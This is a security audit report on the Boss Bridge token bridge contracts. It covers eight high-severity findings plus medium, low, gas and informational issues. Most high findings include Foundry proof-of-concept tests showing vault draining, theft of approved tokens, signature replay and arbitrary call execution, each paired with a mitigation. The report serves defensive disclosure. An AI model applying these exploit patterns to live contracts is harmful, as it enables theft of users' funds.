Boss Bridge
Protocol Audit Report

Version 1.0

Oleh Yatskiv at OmiSoft

September 23, 2024

Boss Bridge Protocol Audit Report

Oleh Yatskiv at OmiSoft

September 23rd, 2024

Prepared by: OmiSoft team

Lead Auditor: Oleh Yatskiv

Table of Contents

    * [H-3] `L1BossBridge::withdrawTokensToL1` function exposes the `v`, `r`, and `s` parameters of the signature, which could lead to replay attacks
    * [H-4] The `L1BossBridge::depositTokensToL2` function accepts any amount of transfer including the `DEPOSIT_LIMIT` amount, meaning that the malicious actor could carry out the Denial of Service attack
    * [H-5] `TokenFactory::deployToken` function uses `CREATE` opcode to deploy a new token contract, which is not supported by the `ZkSync Era` target chain
    * [H-6] The initial supply of the `L1Token` contract is minted to the `TokenFactory` contract, leading to funds being locked there
    * [H-7] Arbitrary message could be passed to the `L1BossBridge::sendToL1` function, meaning that the attacker could call any function on any contract with any arguments, stealing the funds
    * [H-8] `L1BossBridge::withdrawTokensToL1` function doesn't check if the receiving value is the same as the deposited amount of tokens, leading to funds being stolen
  - Medium
    * [M-1] `L1BossBridge::sendToL1` function does not emit an event after successful execution
  - Low
    * [L-1] It's possible to deploy a token with the same symbol several times, overwriting the previous token
    * [L-2] `TokenFactory::deployToken` function does not check the provided contract bytecode
    * [L-3] Contract `L1BossBridge` uses Unsafe ERC20 Operations
    * [L-4] Centralization risk for trusted owners
    * [L-5] `PUSH0` is not supported by all chains
  - Gas
    * [G-1] **`public`** functions not used internally could be marked `external`
    * [G-2] Use `uint256` values 1/2 instead of bool to save gas and avoid frequent Gwarmaccess and Gsset operation when setting bool to false and then back to true
    * [G-3] **`public`** variables that are not used in other contracts should be marked **`private`**
  - Informational
    * [I-1] The return value of `approve` is ignored in `L1Vault::approveTo`
    * [I-2] `L1Vault`'s constructor lacking `address(0)` check
    * [I-3] `L1BossBridge::depositTokensToL2` doesn't follow the checks-effects-interactions pattern

  * [I-4] Poor variable naming in `L1BossBridge::setSigner`
  * [I-5] Events are missing indexed parameters
  * [I-6] There is no natspec for most of the codebase

Protocol Summary

Boss Bridge in a protocol that allows users to bridge their ERC-20 tokens between L1 and L2 chains. The protocol is planned to be deployed on the Ethereum network and ZkSync Era L2 chain. There's a simple `L1Token` ERC-20 implementation that can be deployed using `TokenFactory`. `L1Vault` contract is the one that holds the transferred tokens on L1 that are to be bridged to L2. `L1BossBridge` is the main contract that holds the logic of locking and withdrawing tokens on L1. There are authorized `signer` accounts that approve the withdrawals of tokens, those could be set by the protocol owner.

Disclaimer

Oleh Yatskiv from the OmiSoft team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
|__ L1BossBridge.sol
|__ L1Token.sol
|__ L1Vault.sol
|__ TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol
- Tokens:
  - L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set Signers (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call depositTokensToL2, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	5
Gas	3
Info	6
Total	23

Findings

High

[H-1] As the `L1BossBridge` contract has infinite approval to use `L1Vault` to send any amount of tokens set in the `constructor`, anyone could steal the contents of the vault for infinite amount of times

Description: The `L1BossBridge` contract has infinite approval to use the `L1Vault` contract to send any amount of tokens set in the `constructor`:

```
    constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
        vault = new L1Vault(token);
        // Allows the bridge to move tokens out of the vault to
            facilitate withdrawals
->      vault.approveTo(address(this), type(uint256).max);
    }
```

That means that anyone could call the `depositTokensToL2` function in the `L1BossBridge` contract with an amount of tokens that the vault holds, and then transfer the tokens from the vault to itself, setting `from` as the vault address and `l2Recipient` as the attacker's address:

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
```

```
            revert L1BossBridge__DepositLimitReached();
        }
->      token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

The attacker could execute this function multiple times, stealing the contents of the vault for an infinite amount of times.

Impact: The attacker could steal the contents of the vault for an infinite amount of times, leading to a loss of user and protocol funds.

Proof of Concept: Let's write a function where some users deposit tokens, and then the attacker calls the `depositTokensToL2` function multiple times, which would emit events as so that the attacker would be able to claim the stolen tokens at L2 later on:

```
    function testCanStealFromVault() public {
        address otherUser = makeAddr("otherUser");
        address attacker = makeAddr("attacker");
        uint256 usersBalance = 1000e18;
        deal(address(token), otherUser, usersBalance);

        // Two users deposit tokens to the vault
        vm.startPrank(user);
        token.approve(address(tokenBridge), usersBalance);
        tokenBridge.depositTokensToL2(user, user, usersBalance);
        vm.stopPrank();

        vm.startPrank(otherUser);
        token.approve(address(tokenBridge), usersBalance);
        tokenBridge.depositTokensToL2(otherUser, otherUser, usersBalance);
        vm.stopPrank();

        // The attacker steals the contents of the vault over several iterations
        vm.recordLogs();
        uint256 cumAmount = 0;
        uint256 iterations = 10;
        for (uint256 i = 0; i < iterations; i++) {
            vm.prank(attacker);
            tokenBridge.depositTokensToL2(address(vault), attacker, token.balanceOf(address(vault)));
            Vm.Log[] memory entries = vm.getRecordedLogs();
            (address from, address to, uint256 amount) = abi.decode(entries[entries.length - 1].data, (address, address, uint256));
```

```
            assertEq(from, address(vault));
            assertEq(to, attacker);
            assertEq(amount, 2000e18);
            cumAmount += amount;
        }

        // Check that the attacker was able to steal the contents of
           the vault
        assertEq(cumAmount, (usersBalance * 2) * iterations);
        assertEq(token.balanceOf(address(vault)), usersBalance * 2);
    }
```

The test passes, meaning that the attacker would be able to steal the contents of the vault for an infinite amount of times.

Recommended Mitigation: As highlighted in the H-2 finding, consider using the `msg.sender` address as the `from` address in the `depositTokensToL2` function. This way, the `from` address will always be the address of the caller, and the attacker won't be able to transfer funds on behalf of the vault or the user.

[H-2] `L1BossBridge::depositTokensToL2` uses `transferFrom` with arbitrary `from` address, leading to funds of users who approved the transfer to be transferred to attacker's address

Description: The `depositTokensToL2` function in the `L1BossBridge` contract uses the `transferFrom` function to transfer tokens from the `from` address to the `vault` address. The `from` address is an arbitrary address provided by the caller, which could lead to the function being called by an attacker with a user's address as the `from` address, transferring the user's tokens to the `vault` address. The event `Deposit` however, will be emitted with the `l2Recipient` address provided by the attacker.

Impact: Funds could easily be stolen from users who choose to approve the `L1BossBridge` contract in order to transfer tokens to L2. This could lead to a loss of user funds, severely disrupting the protocol's functionality.

Proof of Concept: We can write a test function that will approve the `L1BossBridge` contract to transfer tokens from the user's address to the `vault` address, and then call the `depositTokensToL2` function with the user's address as the `from` address and an attacker's address as the `l2Recipient` address. We can then check that the `Deposit` event was indeed emitted with the attacker's address as the `l2Recipient` address, and that the user's tokens were transferred to the `vault` address:

```
    function testCanStealApproved() public {
        address sender = makeAddr("sender");
        address attacker = makeAddr("attacker");
```

```
        deal(address(token), sender, 1000e18);

        // User approves the L1BossBridge contract to transfer tokens
        vm.prank(sender);
        token.approve(address(tokenBridge), 1000e18);

        // The attacker steals the user's tokens
        vm.recordLogs();
        vm.prank(attacker);
        tokenBridge.depositTokensToL2(sender, attacker, 1000e18);
        Vm.Log[] memory entries = vm.getRecordedLogs();
        (address from, address to, uint256 amount) = abi.decode(entries
            [entries.length - 1].data, (address, address, uint256));

        // Check that the attacker was able to steal the user's tokens
            by checking event data
        assertEq(from, sender);
        assertEq(to, attacker);
        assertEq(amount, 1000e18);
        assertEq(token.balanceOf(sender), 0);
        assertEq(token.balanceOf(address(vault)), 1000e18);
    }
```

The test passes, meaning that indeed the attacker would be the L2 recipient of the user's tokens.

Recommended Mitigation: Consider using the `msg.sender` address as the `from` address in the `depositTokensToL2` function. This way, the `from` address will always be the address of the caller, and the user's tokens will be correctly transferred to the `vault` address and the `Deposit` event will be emitted with the correct `l2Recipient` address.

[H-3] `L1BossBridge::withdrawTokensToL1` function exposes the `v`, `r`, and `s` parameters of the signature, which could lead to replay attacks

Description: Exposing the `v`, `r`, and `s` parameters of the signature in the `withdrawTokensToL1` function in the `L1BossBridge` contract could lead to replay attacks, meaning that the attacker could repeat the same transaction multiple times, as the signature is exposed:

```
->  function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
        sendToL1(
->          v,
->          r,
->          s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to
                    , amount))
```

```
            )
        );
    }
```

Impact: Exposing the `v`, `r`, and `s` parameters of the signature in the `withdrawTokensToL1` function could lead to replay attacks, meaning that the attacker could repeat the same transaction multiple times, as the signature is exposed. The attacker then could withdraw the same amount of tokens multiple times, leading to a loss of user and protocol funds.

Proof of Concept: We can write a test function that will withdraw tokens to the `attacker` address, and then the attacker will replay the transaction multiple times, withdrawing the same amount of tokens to the `attacker` address:

```
    function testReplaySignatureAttack() public {
        address attacker = makeAddr("attacker");
        deal(address(token), address(vault), 1000e18);
        deal(address(token), attacker, 100e18);
        uint256 vaultInitialBalance = token.balanceOf(address(vault));
        uint256 attackerInitialBalance = token.balanceOf(attacker);

        // The attacker deposits tokens to the vault
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), attackerInitialBalance);
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

        // The operator signs the withdrawal transaction
        bytes memory message = abi.encode(address(token), 0, abi.encodeCall(IERC20.transferFrom, (address(vault), attacker, attackerInitialBalance)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        // The attacker replays the transaction multiple times, withdrawing the same amount of tokens to the attacker address
        while (token.balanceOf(address(vault)) > 0) {
             tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
        }
        vm.stopPrank();

        // The attacker was able to replay the transaction multiple times, stealing the contents of the vault
        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(attacker), attackerInitialBalance + vaultInitialBalance);
    }
```

The test passes, meaning that the attacker was able to replay the transaction multiple times, withdrawing the same amount of tokens to the `attacker` address, draining the `vault` contract.

Recommended Mitigation: Consider either tracking the balances of the tokens that needs to be withdrawn, or using a nonce or other safety mechanisms to prevent replay attacks.

[H-4] The `L1BossBridge::depositTokensToL2` function accepts any amount of transfer including the `DEPOSIT_LIMIT` amount, meaning that the malicious actor could carry out the Denial of Service attack

Description: The `depositTokensToL2` function in the `L1BossBridge` contract accepts any amount of transfer, including the `DEPOSIT_LIMIT` amount. This could lead to a Denial of Service attack if a malicious actor transfers the `DEPOSIT_LIMIT` amount to the `vault` address, preventing other users from transferring tokens to the `vault`:

```
    function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
->          revert L1BossBridge__DepositLimitReached();
        }
        token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact: A malicious actor could carry out a Denial of Service attack by transferring the `DEPOSIT_LIMIT` amount to the `vault` address, preventing other users from transferring tokens to the `vault`. This would lead to the protocol being frozen.

Proof of Concept: We can write a simple test function where the attacker will block the protocol by transferring the `DEPOSIT_LIMIT` amount to the `vault` address, and then the user will try to transfer tokens to the `vault` address, which should fail:

```
    function testDenialOfServiceAtDeposit() public {
        address attacker = makeAddr("attacker");
        uint256 attackerBalance = 100_000e18;
        uint256 usersBalance = 1000e18;
        deal(address(token), attacker, attackerBalance);

        // The attacker transfers the DEPOSIT_LIMIT amount to the vault address
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), attackerBalance);
```

```
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerBalance);
        vm.stopPrank();

        // The user tries to transfer tokens to the vault address, but
            the DEPOSIT_LIMIT amount is already transferred
        // and so the transaction reverts
        vm.startPrank(user);
        token.approve(address(tokenBridge), usersBalance);
        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
            selector);
        tokenBridge.depositTokensToL2(user, user, usersBalance);
    }
```

The test passes, meaning that the attacker was able to block the protocol by transferring the `DEPOSIT_LIMIT` amount to the `vault` address. If the attacker doesn't withdraw the funds, the protocol will be frozen forever.

Recommended Mitigation: Consider adding a limit to the amount of tokens that can be transferred to the `vault` address in the `depositTokensToL2` function by one user. This way it would be harder to carry out a Denial of Service attack. You could also consider adding a time limit for the `DEPOSIT_LIMIT` amount to be transferred to the `vault` address, after which the `DEPOSIT_LIMIT` amount would be reset, or just remove the `DEPOSIT_LIMIT` amount check from the `depositTokensToL2` function.

[H-5] `TokenFactory::deployToken` function uses CREATE opcode to deploy a new token contract, which is not supported by the `ZkSync Era` target chain

Description: The `deployToken` function in the `TokenFactory` contract uses the `CREATE` opcode to deploy a new token contract. This would not work as expected, as the compiler is not aware of the bytecode beforehand. Read more about this issue here.

Impact: The deployment of the token contract will fail on the `ZkSync Era` chain, as the `CREATE` opcode won't work as expected.

Recommended Mitigation: Consider deploying the token contract using the **new** keyword instead of using the `CREATE` opcode. You can also use `CREATE` opcode with the `CREATE2` opcode, which allows you to deploy a contract with a known bytecode. The following would work:

```
    bytes memory bytecode = type(L1Token).creationCode;
    assembly {
        addr := create2(0, add(bytecode, 32), mload(bytecode), salt)
    }
```

[H-6] The initial supply of the `L1Token` contract is minted to the `TokenFactory` contract, leading to funds being locked there

Description: As the `L1Token` contract mints the initial supply of tokens to the `msg.sender`, that is the `TokenFactory` contract, the funds are locked in the `TokenFactory` contract, as it is the one to deploy the `L1Token` contract:

```
contract L1Token is ERC20 {
    uint256 private constant INITIAL_SUPPLY = 1_000_000;

    constructor() ERC20("BossBridgeToken", "BBT") {
->      _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
    }
}

contract TokenFactory is Ownable {
    ...
    function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr) {
        assembly {
->          addr := create(0, add(contractBytecode, 0x20), mload(
    contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
    ...
}
```

Impact: The funds are locked in the `TokenFactory` contract, as the initial supply of tokens is minted to the `msg.sender`, that is the `TokenFactory` contract. This would make the tokens unusable, and the whole point of the `TokenFactory` contract would be lost.

Proof of Concept: We can write a test function, that will create tokens using the `TokenFactory` contract, and then check that the tokens are minted to the `TokenFactory` contract:

```
    function testFactoryHasAllTokens() public {
        vm.prank(owner);
        address tokenAddress = tokenFactory.deployToken("TEST", type(
            L1Token).creationCode);
        assertEq(IERC20(tokenAddress).balanceOf(address(tokenFactory)),
             1_000_000 ether);
        assertEq(IERC20(tokenAddress).balanceOf(owner), 0);
    }
```

The test passes, meaning that the tokens are minted to the `TokenFactory` contract, and the `owner` has no tokens.

Recommended Mitigation: Consider passing the `owner` address to the `L1Token` contract constructor, and minting the initial supply of tokens to the `owner` address. This way, the `owner` will have the initial supply of tokens, and the funds won't be locked in the `TokenFactory` contract. Also, you could consider transferring the minting logic to the `mint` function, and minting the initial supply of tokens to the `owner` address after the token contract is deployed.

[H-7] Arbitrary message could be passed to the `L1BossBridge::sendToL1` function, meaning that the attacker could call any function on any contract with any arguments, stealing the funds

Description: As the `sendToL1` function in the `L1BossBridge` contract accepts an arbitrary message, the attacker could call any function on any contract with any arguments, stealing the funds. The message, however, should be signed by the signer beforehand:

```
->  function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public whenNotPaused nonReentrant {
        address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

Impact: The attacker could call any function on any contract with any arguments, stealing the funds. The attacker could also call the `transfer` function on the `target` contract, transferring the funds to the attacker's address. There's also a possibility of the attacker calling the so-called `gas-bomb` functions, that would consume all the gas of the `signer`.

Proof of Concept: We can recreate the situation in a test function, where the attacker will call the `sendToL1` function with a message that approves the attacker to move funds from the `vault` to the attacker's address:

```
    function testArbitraryMessageAttack() public {
        address attacker = makeAddr("attacker");
        deal(address(token), address(vault), 1000e18);
        uint256 vaultInitialBalance = token.balanceOf(address(vault));
        uint256 attackerInitialBalance = token.balanceOf(attacker);
```

```

        // The message that approves the attacker to move funds from the vault to the attacker's address
        bytes memory message = abi.encode(address(vault), 0, abi.encodeCall(L1Vault.approveTo, (attacker, type(uint256).max)));
        // The message is signed by the operator
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        // The operator calls the sendToL1 function with the message. The malicious approval is executed
        vm.prank(operator.addr);
        tokenBridge.sendToL1(v, r, s, message);

        // The attacker moves the funds from the vault to the attacker's address
        vm.startPrank(attacker);
        token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
        vm.stopPrank();

        // The attacker was able to move the funds from the vault to the attacker's address
        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(attacker), attackerInitialBalance + vaultInitialBalance);
    }
```

The test passes, meaning that the attacker was able to move the funds from the `vault` to the attacker's address by calling the `sendToL1` function with an arbitrary message.

Recommended Mitigation: Consider implementing security mechanisms that would prevent the signer to sign arbitrary messages, or consider marking the `sendToL1` function as `internal` to prevent it from being called directly, as it should be called by the `withdrawTokensToL1` function, that sets `data` to `abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))`. Also make sure that security measures mentioned in the H-3 finding are implemented.

[H-8] `L1BossBridge::withdrawTokensToL1` function doesn't check if the receiving value is the same as the deposited amount of tokens, leading to funds being stolen

Description: As the `withdrawTokensToL1` function in the `L1BossBridge` contract doesn't check if the receiving value is the same as the deposited amount of tokens, the attacker could call the function with a bigger amount of tokens than the deposited amount, stealing the funds:

```
->  function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
->              abi.encodeCall(IERC20.transferFrom, (address(vault), to
    , amount))
            )
        );
    }
```

Impact: The attacker could call the `withdrawTokensToL1` function with a bigger amount of tokens than the deposited amount, stealing the funds. Although there could be a safety mechanism to refrain the `signer` from signing the message with a bigger amount of tokens than the deposited amount, it is still recommended to check if the receiving value is the same as the deposited amount of tokens on the L1 chain.

Proof of Concept: We can write a test function in which the `operator` signs the transaction that has a bigger amount of tokens than the deposited amount, and then the attacker calls the `withdrawTokensToL1` function, stealing the funds:

```
    function testCanWithdrawMoreFunds() public {
        address attacker = makeAddr("attacker");
        deal(address(token), address(vault), 1000e18);
        deal(address(token), attacker, 100e18);
        uint256 vaultInitialBalance = token.balanceOf(address(vault));
        uint256 attackerInitialBalance = token.balanceOf(attacker);

        // The attacker deposits tokens to the vault. This amount,
           however, is not checked in the withdrawTokensToL1 or
           sendToL1 functions
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), attackerInitialBalance);
        tokenBridge.depositTokensToL2(attacker, attacker,
           attackerInitialBalance);
        vm.stopPrank();

        // The operator signs the transaction with a bigger amount of
           tokens than the deposited amount
        bytes memory message = abi.encode(address(token), 0, abi.
           encodeCall(IERC20.transferFrom, (address(vault), attacker,
           1100e18)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
           MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
           ;
```

```

        // The operator executes the transaction
        vm.prank(operator.addr);
        tokenBridge.sendToL1(v, r, s, message);

        // The attacker was able to steal the funds
        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(attacker), attackerInitialBalance +
            vaultInitialBalance);
    }
```

The test passes, meaning that the attacker was able to steal the funds by calling the `withdrawTokensToL1` function with a bigger amount of tokens than the deposited amount.

Recommended Mitigation: Consider adding some checks to ensure that the receiving value is the same as the deposited amount of tokens on the L1 chain. You could also consider adding a safety mechanism to prevent the `signer` from signing the message with a bigger amount of tokens than the deposited amount.

Medium

[M-1] `L1BossBridge::sendToL1` function does not emit an event after successful execution

Description: The `sendToL1` function in the `L1BossBridge` contract does not emit an event after a successful execution. This could make it difficult to track the execution of the function off-chain.

Impact: It could be difficult to track the execution of the function `sendToL1` function off-chain, as there is no event emitted after a successful execution.

Recommended Mitigation: Consider emitting an event after a successful execution of the `sendToL1` function to track the execution of the function off-chain.

```
->  event SentToL1(address indexed signer, address target, uint256
    value, bytes data);

    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
        message) public whenNotPaused nonReentrant {
        address signer = ECDSA.recover(MessageHashUtils.
            toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode
            (message, (address, uint256, bytes));

```

```
        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }

->      emit SentToL1(signer, target, value, data);
    }
```

Low

[L-1] It's possible to deploy a token with the same symbol several times, overwriting the previous token

Description: The `TokenFactory` contract allows deploying a token with the same symbol multiple times, overwriting the previous token, as the `s_tokenToAddress` mapping is not checked before deploying a new token. This could lead to unexpected behavior if a token with the same symbol is deployed multiple times.

```
    function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns (address addr) {
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
        }
->      s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

Impact: Deploying a token with the same symbol multiple times will overwrite the previous token, leading to unexpected behavior or loss of funds.

Recommended Mitigation: Consider adding a check to ensure that a token with the same symbol does not already exist before deploying a new token:

```
    function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns (address addr) {
->      require(s_tokenToAddress[symbol] == address(0), "Token already exists");
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

[L-2] `TokenFactory::deployToken` function does not check the provided contract bytecode

Description: The `deployToken` function in the `TokenFactory` contract deploys a new token contract using the provided contract bytecode without checking the bytecode. This could lead to unexpected behavior if the provided contract bytecode is malicious.

Impact: Corrupted or malicious contract bytecode could be deployed using the `deployToken` function, leading to unexpected behavior or loss of funds.

Recommended Mitigation: Consider deploying new tokens by using `new` keyword instead of deploying a contract using the provided contract bytecode. This way, the contract bytecode will be verified by the compiler before deployment. You can also add customizeable parameters to the token contract constructor to set the token name, symbol, and decimals. This way, you can deploy new tokens without the need to provide the contract bytecode.

[L-3] Contract `L1BossBridge` uses Unsafe ERC20 Operations

Description: ERC20 functions may not behave as expected. Some function may not return meaningful values, others may not return values at all.

Impact: The `L1BossBridge` contract uses the `transferFrom` function from the `token` contract without checking the return value. This could lead to unexpected behavior if the `transferFrom` function fails.

Recommended Mitigation: It is recommended to use OpenZeppelin's SafeERC20 library to perform ERC20 operations. The SafeERC20 library provides a set of ERC20 functions that revert the transaction if the operation fails.

[L-4] Centralization risk for trusted owners

Description: There are functions on protocol methods that can only be called by the owner (admin) of the protocol. This could lead to centralization risk, as the owner could perform any action on the protocol.

Impact: The owner could perform any action on the protocol, setting malicious actors as signers, or transferring all the funds to another address.

Recommended Mitigation: Make sure that the owner is a trusted party, and look into using a multisig wallet for the owner. We know that it is a known issue and it is a trade-off between security and decentralization, however, it is important to be aware of the risks.

[L-5] `PUSH0` is not supported by all chains

Description: Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include `PUSH0` opcodes. The mentioned `ZkSync Era` chain is an example of a chain that does not support `PUSH0`, and was provided as one of the deployment targets in the audit scope.

Impact: The deployment of contracts that include `PUSH0` opcodes will fail on chains that do not support `PUSH0`.

Recommended Mitigation: Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail. Check the compatibility of the EVM version with the target chain before deploying the contracts and change the EVM or compiler version accordingly.

Gas

[G-1] `public` functions not used internally could be marked `external`

Functions that are not used internally can be marked `external` to save gas in `TokenFactory` contract:

```
contract TokenFactory is Ownable {
    ...
->  function deployToken(string memory symbol, bytes memory
    contractBytecode) external onlyOwner returns (address addr) {
        ...
    }

->  function getTokenAddressFromSymbol(string memory symbol) external
    view returns (address addr) {
        return s_tokenToAddress[symbol];
    }
}
```

[G-2] Use `uint256` values 1/2 instead of bool to save gas and avoid frequent Gwarmaccess and Gsset operation when setting bool to false and then back to true

Use `uint256(1)` and `uint256(2)` for **`true`** / **`false`** to avoid a `Gwarmaccess (100 gas)`, and to avoid `Gsset (20000 gas)` when changing from **`false`** to **`true`**, after having been **`true`** in the past.

```
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
    ...
->  mapping(address account => uint256 isSigner) public signers;
    ...
    function setSigner(address account, bool enabled) external
        onlyOwner {
        if (enabled) {
            signers[account] = 2;
        } else {
            signers[account] = 1;
        }
    }
    ...
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
        message) public whenNotPaused nonReentrant {
        ...
        if (signers[signer] != 2) {
            revert L1BossBridge__Unauthorized();
        }
        ...
    }
}
```

This way if you update the signers mapping frequently, you will save gas and avoid the Gwarmaccess and Gsset operations.

[G-3] `public` variables that are not used in other contracts should be marked `private`

`public` variables that are not used in other contracts should be marked **`private`** to save gas, as **`public`** creates an unnecessary getter function. The `token` variable in the `L1Vault` contract should be marked **`private`** `immutable`, the `DEPOSIT_LIMIT` variable in the `L1BossBridge` contract should be marked **`private`** `constant`, and `token` variable in the `L1BossBridge` should also be marked **`private`** `immutable`.

Informational

[I-1] The return value of `approve` is ignored in `L1Vault::approveTo`

The `approve` function in the `L1Vault` contract is called to approve a target address to spend a certain amount of tokens. The return value of the `approve` function is ignored which could lead to unexpected behavior if the approval fails. It is to be called only by the `L1BossBridge` contract, which is the owner of the `L1Vault` contract, however, it is still recommended to check the return value of the `approve` function.

```
    function approveTo(address target, uint256 amount) external
        onlyOwner {
->      token.approve(target, amount);
    }
```

Consider checking the return value of the `approve` function and reverting the transaction if the approval fails.

[I-2] `L1Vault`'s constructor lacking `address(0)` check

The `L1Vault` contract's constructor doesn't check if the `token` address is the zero address which could lead to unexpected behavior if the zero address is passed as the `token` address. Consider adding a check to ensure that the `token` address is not the zero address.

```
    constructor(IERC20 _token) Ownable(msg.sender) {
->      token = _token;
    }
```

[I-3] `L1BossBridge::depositTokensToL2` doesn't follow the checks-effects-interactions pattern

The function `depositTokensToL2` in the `L1BossBridge` contract doesn't follow the checks-effects-interactions pattern as it emits an event after calling `transferFrom`:

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
->      emit Deposit(from, l2Recipient, amount);
    }
```

Consider emitting the event before calling `transferFrom` to follow the checks-effects-interactions pattern and avoid reentrancy issues.

[I-4] Poor variable naming in `L1BossBridge::setSigner`

There's a mapping that contains the signer addresses and their status (enabled/disabled). The mapping is named `signers` which is not descriptive enough. Consider renaming the mapping to `signerStatus` or `signerApproved` to make it more descriptive and easier to understand. Also naming the `enabled` variable as `isSignerEnabled` or `isSignerApproved` would make it more clear.

[I-5] Events are missing indexed parameters

The following events are missing indexed parameters: - `TokenFactory::TokenDeployed` - `L1BossBridge::Deposit`

Consider adding indexed parameters to the events to make it easier to filter and search for events in the logs.

[I-6] There is no natspec for most of the codebase

The following contracts are missing natspec comments: - `L1BossBridge` - `L1Token` - `L1Vault`

Consider adding natspec comments to the contracts to provide a better understanding of the codebase and improve readability.